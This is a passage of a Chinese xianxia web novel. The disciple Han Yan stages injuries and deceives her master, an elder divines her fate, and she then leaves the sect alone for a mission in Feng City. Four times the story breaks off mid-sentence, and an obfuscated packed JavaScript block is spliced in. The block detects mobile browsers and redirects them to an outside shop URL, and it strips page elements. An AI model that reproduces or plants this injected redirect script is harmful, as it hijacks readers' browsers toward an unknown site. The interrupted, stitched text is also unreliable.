想到自己让闻秋说出去忽悠人的说辞,寒砚动作快速地给荣长老套了身黑袍,又给他打入几缕傀儡丝,确保对方为自己所控。 她不敢保证自己现在出去会不会跟人撞个正着,毕竟出口只有一个。 唔,算了,还是交给宗门审吧,有点紧迫感,加重布防也好。 她给师无故传音:“你那边处理得如何,君轻离来了。” “马上。” “分身而已,留着也是麻烦,处理了。” “行。” 寒砚提醒:“对了,来不及的话,就先藏好自己,要是未经我允许就暴露了……” 本体远在魔界的师无故神魂深处传来一阵顿痛,他捂住胸口,呼吸急促地靠着路边漆黑的树。 一时间,黑暗之中传来各种觊觎的视线。 他眼帘抬起,化神期的威压无形散发,周围的视线迅速褪去。 在魔界,但凡有一瞬的示弱,都可能被暗地里的魑魅魍魉分食殆尽。 他撑起身体,跟没事人一样继续往前。 这一边,木偶小人恶狠狠咬牙:“知道了。” 跟师无故交代完,寒砚往自己身上划开几道口子,将衣衫和发丝弄乱。 想了想,她又觉得还不够狼狈,强行催动体内的灵力逆行,闷哼了声吐出口血。 整个人一看就是经历了恶战。 至于另外两位大概率被无辜殃及的长辈,寒砚在心底默念一声罪过。 意念一动,黑气侵入二人识海,破开防御,窥探到他们的记忆。 确认没什么问题后,收回黑气。 看荣长老的样子,多余的信息估计是问不出来了,其余能问出多少就看剑宗审讯者的本事。 这点残局都处理不好的,就算是从这次危机中侥幸存活下来,也必然走不长远。 她拍了拍手,黑气将两位长老送回他们闭关的洞府外,又打落些石块,将门口堵住。 他们二人身上除了衣服破损了点,其实也没受什么伤,君轻离就算知道是她“失控”伤的人,想来也不会责怪她的……吧。 仓促布置好周围的环境,师无故刚好回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888595|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这一次寒砚没有装晕,干脆提前酝酿等会她见到人的情绪。 不就是装无辜装可怜嘛,小意思! …… 等君轻离赶到,看到的就是这样一幕—— 冷风呼啸的悬崖之上,衣裙胜雪的少女跌坐于地。 她原本编起的长发散落在双肩,肌肤苍白近乎透明,宽大的衣裙下,单薄瘦弱的身躯微不可察地颤抖。 无力垂落的手,沾上了几滴艳丽的血迹。 君轻离疾步走过去,小心翼翼地对寒砚伸出手。 “阿砚……” 少女缓慢地抬起头,看向他的双眼没有半点神采。 君轻离被她吓住了。 他在她面前蹲下,刚想开口就突然被她抱住。 “师尊……怎么办,我、我好像杀人了……” 她刚说完,就撕心裂肺地咳起来,眼角浮现生理性的泪水。 君轻离手忙脚乱地轻拍她的背,一边浑身僵硬地为她调息,一边放轻声音安抚:“别急,慢慢说,发生了何事,你慢慢告诉师尊。” 见她听进去他的话慢慢平静下来,君轻离这才后知后觉地注意到,旁边还躺着个有些眼熟的人。 嗯? 好像是三位太上长老之一? 君轻离眼底划过一丝茫然,又联想到寒砚的反应,隐隐有所猜测,同时一阵后怕。 寒砚额头抵着他的胸口,君轻离看不见她的表情,只能听见少女闷闷的声音。 “我也不知是何缘故,本来好好的,这人突然出现打晕了其他人,我表明身份后,以为对方会有所顾及,但是……他说要带我回魔界,对了……” 她松开抱他的手,掌心浮现缕黑中透紫的魔气。 寒砚再三思索,还是决定要上交就都上交,留在自己身上也不过徒增麻烦。 君轻离呼吸一滞,脑子里有一瞬的嗡鸣。 魔气飘到他掌心,君轻离指尖轻颤,然后唰地合拢,脸色难看至极。 他竟然都没发现剑宗内有这等邪物! 不过是半天没看住寒砚,她就险些出事…… 寒砚不能理解他的失态,脑袋枕在他身前,装作害怕道:“他还说他跟魔尊认识,魔尊要他将我抓去,强行灌入魔气成为魔修。” 她有些生气道:“我的师尊可是仙门第一人,我作为师尊的弟子,怎么可能好好的正道修士不当,跑去当人人喊打的魔修?” 君轻离:“……” 这……还真不好说。 寒砚自然看不到他微妙的表情,继续睁着眼睛瞎扯:“然后他就朝我打来这道魔气,魔气入体后我变得意识模糊,清醒后没多久就看到师尊您了。” “这是来自魔种的魔气。” 君轻离轻抚着她的发丝,眉头紧锁,带着愁绪道:“魔种伴随着魔神诞生,是天生地养的邪物,它早在万年前,就随着浮华界最后一位神,彻底消失在世间。” 也不知他们从何处所得这一缕魔气…… 寒砚眨了眨眼,没想到太苍还有事情瞒着她。 “万年前的事情比较复杂,你要是想听,回去我再慢慢告诉你。” 知道太多其实对她未必有好处,但如果她想知道,他也不愿瞒她。 君轻离揉了揉小徒弟的脑袋,“无论如何,没出事就好。现在最要紧的,是弄清楚你身体的情况。” 寒砚眼神微闪,心虚点头。 22. 第22章 君轻离通知了宗门的人。 很快,掌门带着人来,将荣长老带了下去。 临走前,掌门叹息着叮嘱寒砚回去好好休息,实在不行的话就去药王谷住个十天半月,虽然对她的先天之疾没什么帮助,但去蹭点灵气也有利于养好身体。 当然效果几近于无就是了。 见掌门说着说着,就差上手拉寒砚一起离开,君轻离忍无可忍,让他赶紧押着人回去审讯。 寒砚掩唇笑得眉眼弯弯,婉拒了掌门师兄的提议,“师兄放心,师尊不会不管我的。” 掌门顶着君轻离不太友好的目光,只好作罢。 见逍云一步三回头,似乎不放心将人交给他的样子,君轻离无奈摇头。 寒砚抱着他的手臂晃了晃,笑道:“掌门师兄也是关心我。” 毕竟有的人收了徒转眼就消失不见,不放心不是很正常? 寒砚面上笑嘻嘻的,眼底却没什么温度。 君轻离自然明白,心中也欣慰剑宗的长老们对后辈的爱护。 “我带你去见两个人。”他对寒砚道。 “谁呀?” 总不会是另外两个老祖宗吧哈哈。 然后她就听见君轻离道:“在宗门的三位太上长老中,有一位姓晋的长老,尤擅命格卜算。如今连药王谷都对你的情况束手无策,只怕问题是出在别处上。如若晋长老也没办法,我打算带你去找隐神阁的那位祭司。” “大祭司?”寒砚和他并肩走着。 隐神阁,同样是十大仙门之一,阁中门人不擅战斗,太平之时一向存在感不高。 修行本就是逆天而行,浮华界少有修士发自内心地信奉天命。 对于那位大祭司她有所耳闻。 君轻离点头,“隐神阁的大祭司虽然年纪尚轻,但于天机一道钻研颇深,命格上的问题,浮华界少有人能与他比肩。” 寒砚还是头一回在他口中听见如此高的评价。 不过,她的问题应该主要出在灵魂上。 恢复记忆后,寒砚就逐渐感受到了灵魂中传来的不适。 她也很好奇,术业有专攻,那位晋长老和大祭司能否看出些什么。 …… 虽然知道寒砚失控后六亲不认,力量也在向前世靠拢,带着恐怖的毁灭特性。 但真看到洞府前的一片乱石时,君轻离还是忍不住为之心惊。 好在都是合体期修士,君轻离倒不是很担心他们的性命。 他将石头清理开,迈步走进去,正对上已经苏醒,互相搀扶着的二位长老。 两位长老听见动静,恍惚抬头,都不敢相信自己见到了谁。 “仙君?” 晋长老和向长老反应过来,朝君轻离行礼。 不是因为身份高低,而是出于对前辈的敬重。 君轻离心存愧疚,及时制止了对方的动作,不出意外的话,他们身上的伤多半是出自自家徒弟之手。 “二位身上还有伤,还是先行去调息片刻。” 向长老浑不在意,他只关心一件事。 “仙君可是将那个闯入后山的魔头抓住了?” 晋长老气势汹汹,“老身还提得动剑,那魔头可还有全尸,让我砍上一砍!” 寒砚听见两人凶残的发言,眼神飘忽,脚下悄然挪动,想借君轻离的身体遮住自己。 但她不动还好,这一动,修士的注意力何其敏锐,两位长老顿时齐齐看向她。 君轻离知道这事没法揭过去,不过他也不打算隐瞒,侧过身子,把人从身后拉出来,见她明显心虚的样子,有点心疼又有点好笑。 寒砚心虚是不可能心虚的,但样子还是要有的。 她磨磨蹭蹭站到君轻离身边,朝两个长老露出个天真无邪的笑,清润的眼眸灵动清澈,脆生生道:“弟子寒砚,见过二位太上长老。” 君轻离介绍道:“见笑了,阿砚是我十五年前收的弟子,年纪小,有点怕生。” 两位长老一眼看出面前少女的年纪,对他们来说确实还是个小娃娃,见到陌生人胆怯也很正常。 两人都很给面子地夸了几句。 直到君轻离开口,两人才脸色一变。 “之前闯入后山的不是魔。” 听见他话的寒砚目光微闪,知道他不会替她隐瞒。 君轻离组织了下措辞,将事情的前前后后说清楚。 整体而言不复杂,问题在于他并不清楚寒砚失控的原因,不知何时,有些东西似乎与前世变得完全不同了起来。 他三言两语将寒砚从自幼体弱,再到失去意识修为大涨,被荣长老带走意外发现对方投靠魔界的事情说清楚。 失手伤人是不该,但找出了剑宗的叛徒却也有功。 君轻离拱手道:“伤人非阿砚有心之举,此事算我欠二位,日后若有需要大可告知于我。” 寒砚脸上的笑逐渐淡去,浓密眼睫垂下,遮住眼底思绪。 两位长老对视一眼,这世间多少人削尖了头也只想得到一个强者的承诺,他们自然也没必要拒绝。 两人也不含糊,爽快应下。 君轻离放下心来,这才道出自己过来的真实缘由,“趁着我这弟子目前尚未酿成大错,还请晋长老为她推演找出病灶。” 寒砚眉头微蹙,有点不满他所说的什么酿成大错。 她这两次“失控”,也没做出什么太出格的事情吧,至于一副她迟早会嚯嚯自己人的样子吗? 两位长老自然也明白这个道理,想到他们三人联手都没办法解决的黑气,顿时头疼不已。 若真叫这个小弟子彻底发疯,对修真界可是大麻烦啊。 尤其晋长老,不禁暗骂逍云这掌门做得失职,这么严重的事情竟然到现在还没发现。 “同为仙门之人,不过分内之事。”晋长老走在前面,“仙君和小友随老身来吧,不过多年不曾碰过卜算,还需准备些东西,劳烦二位先等上半刻。” 洞府内,极为简单的石桌,打坐用的蒲团,以及一张正在往外面冒冷气的冰床。 “小友先坐上去吧。” 寒砚犹豫片刻,还是盘膝坐上冰床,面上有些忐忑。 上一世,能推演命格的道士不多,晋长老有几分真本事她也不清楚,不确定对方会看出些什么。 君轻离坐在她身边,手搭在她的脉搏上,凝眉思索。 寒砚垂首,眼珠子转动,视线落在青年骨骼分明的手上。 她之前就奇怪,他虽收她为徒,但十多年未见,完全不熟,怎么一上来就拉拉扯扯,原是趁机查看她的情况? 不过看他现在的样子,应该还没看出些什么。 寒砚试探道:“仙君可有看出什么?” 君轻离收回手,有些尴尬地咳了声,“你的脉象从表面上看,只是先天不足导致的身体虚弱,没什么大的问题。” 但没问题就是最大的问题。 如果真的仅是先天之症,在她踏入修行的第一步,引气入体,洗经伐髓时,就该好个七七八八。筑基以后,凡间的病症更是无法对修士产生任何影响。 寒砚得到意料之中的答案,反过来笑着安慰他,“说不定等我修为再高些,就自然而然地好了。” 理论上,她这个想法完全正确。 再严重的伤,雷劫过后天道降下恩泽,再多的沉疴旧疾也会被清除干净。 如今她是筑基后期,晋升金丹会迎来她的第一道雷劫,时间上也不会太久。 然而君轻离并不乐观。 他比寒砚知道的多些,他怀疑是自己的重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888596|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生导致她的命数出现了问题,那就不是轻易可以治好的了…… 君轻离心中忧思重重,温和笑了笑,“如此自然是最好,等我寻个时间去药王谷一趟,不管是否有效,至少不能再恶化下去。” 寒砚自然是满脸信任地应好。 “你届时和我一起,药王谷的医修医术为浮华界之最,我拜托谷主寻个精通药理的长老,给你开些调养身体的药膳,长此以往兴许能起些效果。” 他回来这些天也没见她服药,尽管身上有股淡淡的药香,但显然她身上也少有丹药,估计是以往留下的。 “……好。”寒砚苦着脸,不太情愿。 君轻离于心不忍,但也说不出让她不必去的话。 “等身体好了,我什么都可以答应你。” 寒砚闻言,眼睛登时一亮,“真的?师尊可别说话不算话。” “自然。” 两人随意闲聊间,晋长老走了进来,她先是对君轻离点头致歉:“老身需要布置下场子,怕是仙君不能在一侧观看了。” “无事。”君轻离揉了下寒砚的脑袋,“阿砚听晋长老的话,别怕,有什么事情唤我即可。” 寒砚不明白他为什么老揉自己脑袋,但还是乖巧点头。 等君轻离出去后,晋长老将随手修好的石门关上,又将结界重新布置好。 她口中默念,脚下缓缓浮现出现类似于八卦的图案,黑白交织流动,似有玄武虚影一晃而过,极为繁复。 寒砚好奇看去,直到手中被放入一个微凉的物件,她低头一瞧,竟是个颜色极淡的龟甲,被打磨得十分光滑,貌似年份悠久。 她佯装懵懂问:“这是什么?乌龟壳?” 晋长老不同于君轻离在时,看向寒砚的眼神似带着打量。 听见她的询问,只是笑道:“想要结果更准确需要在晚上结合星象和阵法推算,不过起卦倒是现在就可以。这可是老祖宗传下来的玄武壳,来,随便摇,一直摇到你觉得该停止了。” 寒砚:“?” 不是,这靠谱吗? 晋长老敲了下寒砚的额头,后退两步,以防打扰到她,揶揄道:“你这小姑娘,心思重得很。有防备心是好事,但心思太重,切记伤人伤己。仙君年岁虽长,却是极为纯净之人,易遭小人诓骗,但老身和姓向的老家伙却不是什么好糊弄的人……” 寒砚装作听不懂,微阖上眼开始摇晃手中的玄武壳。 少女坐成一团,身形消瘦,看上去甚至有些虚弱,一瞧就是个手无缚鸡之力的普通姑娘。 完全不像个能与人交手的剑修。 但晋长老知道,这姑娘发起疯来打人可疼。 她盯着寒砚看,眼底划过一抹深思。 玄武壳中似乎什么东西也没有,起码寒砚拿到手上的时候没听见丁点声音。 她双手握着,沉下心来,玄武壳上淡青色的气绕着她的手,越涌越多,逐渐环绕在她周身。 很快,洞府中就变得云雾缭绕了起来。 寒砚恍若未觉,呼吸浅到难以察觉,整个人都沉浸在一种玄之又玄的道蕴中,似乎完全和外界隔绝开来。 她闭上眼睛后,脸上的笑也随之消失,显得有几分冷硬和疏离。 晋长老用衣袖拂开遮挡视线的青烟,目光盯紧寒砚,手上飞快掐算。 她轻声喃道:“这姑娘……” 扑咚—— 玄武壳掉到地上滚了几圈,寒砚手中一空,意识瞬间清醒,洞府中的青烟一秒消散。 她目光锋锐如刀,又很快反应过来自己身在何处,眨眼间散去锐气,恢复成没有棱角的清润杏眼。 眼前出现女冠素净的道袍,一只修长有力的手将玄武壳拾起。 寒砚抬头,对上晋长老湛然有神的双眼。 23. 第23章 地面上的图案尽数消失不见,身后石门应声打开,君轻离走进,眼底是不易察觉的紧张。 他看了眼神色恹恹的寒砚,问晋长老:“结果如何?” 晋长老并未第一时间回他,而是对寒砚温和笑道:“这冰床是来自北方妖域的极寒冰川,有极好的疗养功效,小友可在此休息。” 说完,这才回君轻离:“仙君可否借一步说话?” 君轻离还没说话,寒砚抢先他一步开口。 在冰床上待久了,她脸色被冻得有点发青,露出个略显虚弱的浅笑。 “长老,既然是我自己的身体,我希望是有权利知道具体情况,不管是好是坏,我都能接受。” 寒砚也没想到,还真给人看出点什么。 她也很好奇,她的灵魂,在他们眼中是何模样。 晋长老面露迟疑,最终还是以目光询问君轻离。 寒砚同样恳求地看向他。 君轻离:“……” 理智上他知道,晋长老既然要求单独说,恐怕就是不宜告诉寒砚,但感情上,他很难拒绝她的合理请求。 见他纠结,晋长老叹息,“既如此,小友可清楚自己的生辰八字?虽然以玄武壳推演的结果出错的可能性不大,但老身还是想再确认一下,毕竟事关重大。” 自己的生辰八字,寒砚自然是清楚的,不管这一世还是上一世。 她装作思索,几个呼吸后,说出现在这具身体的八字。 晋长老都不用掐指算,一听便摇头,“对不上卦象,这个……是未诞而殇的命格。” 寒砚不好意思地笑了下,“可能是因为年纪太小,记岔了,我再想想。” 君轻离坐到床边,给她输送些灵力缓解冷意,“不着急,慢慢想。” 几分钟后,寒砚又报了个时间,这回说的是上辈子的八字。 晋长老这回没说不对,手中掐算着,眉头越皱越紧。 寒砚不懂算命,也从来不信命。 倒是没想到,穿越一回,竟还有人能算她前世的命。 这次掐算的时间比预想中的还要长,晋长老的脸色也越来越难看,最终神情骤变,忽的吐出一口血。 君轻离察觉到什么,抓住她的手臂,灵力在其体内转了圈,表情似有所悟。 晋长老谢过君轻离,“老身并无大碍,不过触碰到天机,遭了反噬。” 与其说是反噬,不如说是警告更为妥当,不过顾及寒砚就在眼前,晋长老怕吓到小辈也就没说。 至于君轻离,不用她多嘴,他学过天机推衍,自能明白其中关窍。 晋长老拂袖清理掉身上的血迹,“老身能力有限,让仙君失望了,只能得到这八个字。” “星枢转煞,破庚自生。” 属于是拆开看都认识,合在一起就让人觉得玄乎。 寒砚眼睫轻颤,掩住眼中惊诧。 别人不懂,她还能不明白?没想到,还真有两把刷子,隔着世界都能算…… 君轻离刚想说话,眉头一皱,挥手召出水镜,镜中出现逍云掌门的身形。 还想继续说什么的晋长老只好闭上嘴。 水镜中鹤发童颜的掌门愁得原地打转,差点揪光满头白发,见终于联系上君轻离,如同见到了救星,双眼发亮。 快速道:“仙君,连溪师弟传来消息,魔尊派了手下前往人界布阵,他本来要去阻止,但不慎被魔尊发现,一时难以脱身……” 连溪是剑宗的顶尖战力,无论如何都不能出事,而整个浮华界能与镜修住对抗的,只有君轻离。 掌门话还未说完,便听君轻离道:“位置说一下,我这便过去。” 君轻离说完便断了传音,注意到晋长老的欲言又止,“阿砚可否劳烦晋长老照看一段时日,她的身体暂且不明,我不放心留她一个人在扶光峰。” “自然可以,正好老身也许久不曾看剑宗发展成什么样了。” 君轻离又对寒砚叮嘱了几句。 寒砚没有插嘴的机会,只能暗自叫苦,她一点都不喜欢被人看管着。 他人走后,晋长老带着寒砚到了开阳峰大殿。 大殿宽广,寒砚跟在晋长老身后,只看见禅宗和道宗的人,不见一个浮生仙宗之人。 见这两人出现,除了逍云掌门,其他见过晋长老的人皆面露震惊,年轻弟子们认识寒砚,则纷纷好奇地看向走在她前方的女冠。 林义和释安各站在自家长老身边,清楚地注意到身旁长老呼吸的变化。 然后他们就听见剑宗的那位逍云掌门恭恭敬敬上前,弯腰喊了女冠一声“师尊”。 众弟子:!!! 晋长老拒绝了逍掌门让她坐首位的请求,摆手道:“你现在才是掌门,我不过就是个普通长老,你该做什么做什么,我就想看看你有没有带着剑宗走下坡路。” “不用管老身,继续说你们的。” 逍云掌门只好让人又添了两张椅子,分别让晋长老和寒砚坐下。 他清了清嗓子,接上之前的话,“魔界最近动作不断,据消息,镜修竹回魔宫后,清理了不少背叛他的人,而我们剑宗今天也抓到个叛徒……” 说到这里时,他突然顿住,视线从下方所有人身上扫过,犀利又淡漠。 “现已交付执法堂关进水牢,静候处置,剑宗位置特殊,不比其他仙门,任何疏漏都可能给宗门,甚至修真界带来灾难,容不得一丝一毫的懈怠……” 上司讲话在任何时代都是枯燥的,寒砚坐在晋长老身侧,虽然还睁着眼睛实则已经听不清人在说什么了,直到一道难以让人忽视的目光落在她身上。 寒砚一个激灵,顺着目光看过去,就见下首的裴涣冷冷地盯着她,“……” 摸鱼但被发言人亲属逮了个正着怎么办? 她默默端正坐姿,眼观鼻鼻观心,装出一副认真听的样子。 “……我之后会安排长老和仙君一起去处理魔界的事情,放心,你们好歹也是内门弟子,剑宗未来的顶梁柱,不会让你们闲着。” 逍云掌门最近也是忙得不行,好不容易可以休息一下,魔界又开始闹腾。 “云海秘境三个月后开启,剑宗还未来得及准备,我已传信无双,让她尽快赶回,具体事宜暂时先由……” 寒砚总结了下,大概就是能打的去配合君轻离,擅交际的带队准备秘境一事,而他们作为弟子的,听安排便是。 就算有什么事,也是内门师兄师姐在负责,总之与她关系不大。 云海秘境 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888597|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有所耳闻,每三百年由十大仙门联手开启,每次进入人数有限,属于修真界中一大盛事。 由于间隔太久,无怪乎掌门一时没想起来,剑宗长老多醉心练剑,不问俗事。 系统此前给她的剧情中并未提到此事,估计是因剑宗灭门导致凑不齐十大仙门,秘境无法开启,自然就不了了之。 这种大型秘境,门槛都是金丹以上,而她一个病秧子,基本与她无缘。 她这些年虽没有记忆,但也暗地里去了不少秘境,大差不差的,没什么兴趣。 目前,她还有另外一件事情要做。 脑中盘算别的事情,时间很快过去。 散会后,掌门招手让裴涣上来。 大殿中,现在只剩下掌门师徒,以及晋长老和寒砚。 逍云掌门在晋长老面前行了个弟子礼,裴涣跟在他身边,喊了声师祖。 说起这个辈分,虽然寒砚喊掌门等人师兄,但并不意味着晋长老和君轻离是同辈。 当初剑宗于仙魔大战中受到重创,弟子一度青黄不接,更新迭代极快,真要算起,现在的年轻弟子起码得喊她小师叔祖。 不过君轻离本身也不是在意辈分的人,对剑宗后代弟子并不熟悉,直接让人将她当师妹照顾。 掌门没等晋长老开口,便急切道:“师尊,无双的魂灯出事了,您能否帮忙推衍下她现在的位置?” 他一开口,裴涣和晋长老皆脸色一变。 唯有寒砚虽早有预料,但还是佯装惊讶。 晋长老对风无双还算熟悉,毕竟是自家徒儿选中的掌门继承人,“带我去看她的魂灯。” 她口中说着,手上开始掐算。 掌门应是,一挥手,几人下一瞬就到了见水峰群英殿。 等掌门带他们见到风无双的魂灯时,只见燃烧的灯火肉眼可见的渺小。 “无双的魂灯又变暗了……” 魂灯熄灭,代表弟子身死道消,如今烛火暗淡,只怕风无双的情况不容乐观。 虽然还不知具体发生了什么,但掌门还是不禁心如刀绞。 晋长老掐算完,映在眸中的火光轻摇,细弱的火苗仿佛下一秒就熄灭。 “竟被天机所掩,我需要借助她魂灯再次演算。”晋长老也没想到,短短一天,她竟然遇上了两次难以卜算的情况。 能让天道掩饰命格之人,无一不是人中龙凤,不出意外的话,都会在浮华界掀起腥风血雨。 寒砚和裴涣静静站在一旁,等待晋长老的结果。 殿中,密密麻麻的魂灯无声燃烧,空气中弥漫着淡淡的烛火气息,寂静得连呼吸都清晰可闻。 良久,晋长老呼出一口气,指尖点在逍云掌门的眉间。 “应在此处。具体为何,便要你们自己去找了。” 晋长老神情疲惫,便让寒砚带她去休息。 逍云掌门望着这一老一弱离开,忧心忡忡地叹了口气。 “涣儿啊。” “徒儿在。” “你师姐就拜托你去找了,老头子我也不知道还能撑多久哦……对了,道宗那个小丫头跟无双关系好,方便的话顺便跟她说一声吧。” 逍云掌门背着手,踏出群英殿大门,如剑笔直的脊梁似乎弯了弯。 24. 第24章 君轻离回来前,寒砚一直住在开阳峰,她这才搬去扶光峰不久,在开阳峰的屋子还为她留着。 于是她带着晋长老到了她在开阳峰的住处。 晋长老在她唯一的床上打坐休息,为了不打扰她,寒砚打算安静地退出房间。 正要出门时,里面的人冷不防地开口。 “阿砚是无双带大的吧?” 寒砚一愣,如实回:“是。” “无双是个好孩子,逍云打算将剑宗交到她手上,我是完全没意见的。”晋长老似感慨一般说着,又问:“你与无双关系如何?” 寒砚不是傻子,联想到晋长老今日两次都出了意外的推衍,不由心底嗤笑。 一个是完全不熟的隐形炸弹,一个十分满意的继承人,孰轻孰重,不言而喻。 当然,如果寒砚不曾暴露自身底牌,晋长老也不会像现在这样对她充满忌惮。 寒砚对此并不在意,温和道:“是师叔和师侄,亦是师姐和师妹。” 逍云掌门事务繁忙,开阳峰的弟子几乎都是风无双这个大师姐在教导。 晋长老对她的回答说不上满意或者不满意,她好歹也是仙君弟子,即便真的有什么,剑宗的人也不会擅自对她做什么。 见晋长老闭上眼,似乎不会再说什么,寒砚关上门,脚步声极轻地离去。 开阳峰山腰,摘星楼。 这是剑宗弟子交接各种任务的地方,俗称任务大堂。 寒砚挑了好一会儿,才挑到个适合的,拿着任务牌到登记处登记。 负责的弟子跟她打了声招呼,接过她手中任务牌,见是个调查丰城怪事的任务。 想到什么,弟子好心提醒:“小师叔,这个任务看着简单,但是地点在修真界边缘,路途遥远,再加上恐怕灵气比剑宗还要稀薄,怕是对身体有碍,确定要接这个任务吗?” 这种不确定的任务本来风险不小,但因为是在凡尘和修真界的交界处,即便有妖魔也是修为低微者,整体而言不会危险到哪里去。 寒砚笑道:“多谢关心,我前些日子想起了家中的一些事情,想要回去看看长辈,接这个任务不过是顺路。你也知道最近剑宗不太安宁,长辈们都在忙碌,我也帮不上什么忙,起码不能让大家为我分心吧。” “那好吧。”弟子见劝不动她,只好给她登记上。 寒砚将任务牌收进乾坤袋中,“对了,若是长老们问起,你就说我是出门散散心,顺便接了个任务。” “好的,小师叔。”弟子正色道:“不过如果是正事,我可不会跟长老们隐瞒。” 寒砚扫了眼他身上的弟子服,果然看到的是金色小剑的绣样。 “知道了,小古板。” 她将乾坤袋抛起又接住,准备回去跟晋长老说声,然后下山。 出摘星楼大门的时候,有个内门弟子跟赶着去投胎一样唰地掠过。 寒砚被人抢先一步出门,眉头一拧,却见那身影有几分熟悉。 “闻秋师侄?” 才交了任务的闻秋听见唤她的声音,全身一僵,顿时加快了步伐,飞快消失在视线中。 寒砚:“……” 虽然大抵能猜到,她这样是被之前的事吓坏了,但还是不免觉得这姑娘胆子是不是有点太小了。 这么躲着她,也不怕中的是什么有毒东西?到时候“毒发身亡”,明知谁是凶手都无法指认,是不是有点太憋屈了? 寒砚当即失笑,将乾坤袋挂回腰间,悠哉朝自己住处而去。 要知道,傀儡丝可是连人神志都能影响,此等逆天之物不用多说都知道极难炼制,她给闻秋和越江的最多能用个两三次,用完即废。 控制两个金丹期而已,她还不至于用给师无故的那种永久型。 回到房间,晋长老还在休息。 寒砚思考片刻,一拍手决定还是不说了,万一这人记着君轻离的话不让她走怎么办? 她找出纸和笔,简单将缘由道清,装在信封里后用茶壶压在桌子上,又慎重地留下个阵法,确保不会被人偷窥。 这才满意离去。 第二天。 待晋长老等人看到那封信时,是动怒还是担心已不可知。 反正寒砚此时早已出了无妄剑宗的地界。 任务牌中提到的地点是一处四面环山的古老城池。 山清水秀,风景宜人,城外环绕着一条河流,呈现“环抱状”,水流平缓蜿蜒,使得周围灵气聚而不散,一看便知是个难得的风水宝地。 城外草木茂密,略显偏僻。 大体还在修真界的范围中,比起其他灵气稀薄到忽略不计的边界地带,此处起码不至于让修士因极度缺乏灵气而修为倒退。 寒砚收起任务牌,大步而去。 封印在里面的引路符文用过一次就直接作废,并无他用。 高挂在城门之上的牌匾用入木三分的墨迹写着“丰城”二字,城门口打着哈欠的士兵以及缓缓进城的百姓,和寒砚印象中的城池没什么两样。 暂时没察觉到有什么古怪之处,看来只能进城之后才能知道了。 寒砚今日穿了身素净的白裙,长发随意编起,腰间佩戴个银白色的乾坤袋,瞧着倒有几分江湖气息。 但脸上过于病态的白,以及举手投足间透出的礼节,又会让人觉得像哪家偷跑出来的柔弱大小姐。 跟着人流进城后,寒砚发现丰城里几乎八成皆为凡人,两成为修士,而这两成中大半是低阶修士,还不如她现在的境界。 她没有太过张望,而是用眼角余光留意周围的行人。 但即便如此,寒砚还是发现有人在暗中窥探打量她。 丰城的位置过于偏僻,不仅与相邻城镇相隔甚远,且四周多山水河流,道路不通,只怕少有外乡人来此。 而她远离凡尘十多年,穿衣打扮以及口音都可以明显看出和周围人的格格不入。 太引人注意了。 寒砚无声扶额,一来就打草惊蛇,失策失策。 不过既然已暴露外来者身份,之后行事也就不必顾忌。 暗中留心她的人便见,上一秒还矜持的少女,短暂地纠结了会,就干脆放飞自我一般四处看稀奇。 还算宽阔的大街上杂技表演夺人眼球,各色小吃香味四溢,叫卖声,铁器敲击声…… 虽然还在修真界,但其实已和凡尘无异,寒砚已经很久没看到过这般朴实热闹的人间。 “老板,这个怎么卖啊?” 寒砚拿起小铺上的一根银簪。 簪子质地一般,但花样还算别致。 老板说了个数,寒砚正准备给钱的时候,背后突然被人撞了下,手上簪子没拿稳,掉落到铺子上发出清脆的声响。 她掀起眼帘,瞧见老板脸上一闪而逝的阴沉,又很快恢复了几乎一成不变的笑。 啧啧,笑得比她还虚伪。 “拦住他!抓小偷——” 妇人惊慌大喊,跟泥鳅一样滑溜的小贼撞开一个个行人,街上突然乱了起来,嘈杂声惊呼声,混杂在一起。 寒砚看了眼,回过头,跟没事人一样付钱,从老板手上接过银簪。 现在天色不早,她得赶紧找个地方住,不然该露宿街头了。 她没有在大街上将簪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888598|192129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 